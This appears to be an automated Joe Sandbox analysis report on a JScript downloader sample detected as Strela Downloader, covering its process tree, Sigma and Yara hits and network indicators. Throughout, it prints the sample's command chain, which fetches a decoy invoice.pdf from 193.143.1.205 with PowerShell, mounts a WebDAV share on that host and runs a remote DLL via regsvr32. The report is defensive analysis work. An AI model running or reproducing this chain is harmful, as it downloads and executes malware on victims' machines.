Edit tour

Windows Analysis Report
2078028442107917841.js

Overview

General Information

Sample name:	2078028442107917841.js
Analysis ID:	1587576
MD5:	5eb17baa90e14fe0b88c301dfa8e422b
SHA1:	f7568ecb342de1f65f9bd9f1eeaf9bda1347df2c
SHA256:	4fce8c932666595d88bb3b85d9cae78b3af1ab7965f17cbb82d14ec1af0e7b76
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Yara detected Strela Downloader

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: Use Short Name Path in Command Line

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 6180 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2078028442107917841.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 6012 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16971761514350.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 3632 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7036 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 6220 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7196 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7400 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2136 --field-trial-handle=1652,i,13174889617063134609,234930856317104007,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 1648 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 5912 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 7260 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 6180	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16971761514350.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6012, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7036, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16971761514350.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6012, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7036, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2078028442107917841.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2078028442107917841.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2078028442107917841.js", ProcessId: 6180, ProcessName: wscript.exe

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16971761514350.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16971761514350.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2078028442107917841.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6180, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16971761514350.dll, ProcessId: 6012, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16971761514350.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16971761514350.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2078028442107917841.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6180, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16971761514350.dll, ProcessId: 6012, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16971761514350.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16971761514350.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2078028442107917841.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6180, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16971761514350.dll, ProcessId: 6012, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16971761514350.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16971761514350.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2078028442107917841.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6180, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16971761514350.dll, ProcessId: 6012, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16971761514350.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16971761514350.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2078028442107917841.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6180, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16971761514350.dll, ProcessId: 6012, ProcessName: cmd.exe

Sigma detected: Use Short Name Path in Command Line

Source: Process started

Author: frack113, Nasreddine Bencherchali: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16971761514350.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16971761514350.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2078028442107917841.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6180, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16971761514350.dll, ProcessId: 6012, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2078028442107917841.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2078028442107917841.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2078028442107917841.js", ProcessId: 6180, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16971761514350.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6012, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7036, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1648, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 5912, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7260, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1648, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 5912, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16971761514350.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16971761514350.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2078028442107917841.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6180, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16971761514350.dll, ProcessId: 6012, ProcessName: cmd.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 2078028442107917841.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 2078028442107917841.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: wscript.exe, 00000000.00000003.1236630550.00000181972EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 0000000D.00000002.1296520112.0000022AA9153000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000D.00000002.1296520112.0000022AA9169000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000D.00000002.1296520112.0000022AA9118000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 0000000D.00000002.1296520112.0000022AA9153000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/C
Source: net.exe, 0000000D.00000002.1296520112.0000022AA9118000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/pace
Source: svchost.exe, 0000000F.00000002.2521093931.0000025C21C00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.14.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.15.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.14.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.15.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 0000000F.00000003.1294663708.0000025C21B30000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.15.dr, edb.log.15.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:
Source: qmgr.db.15.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe1C:
Source: ReaderMessages.11.dr	String found in binary or memory: https://www.adobe.co

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 6180, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16971761514350.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
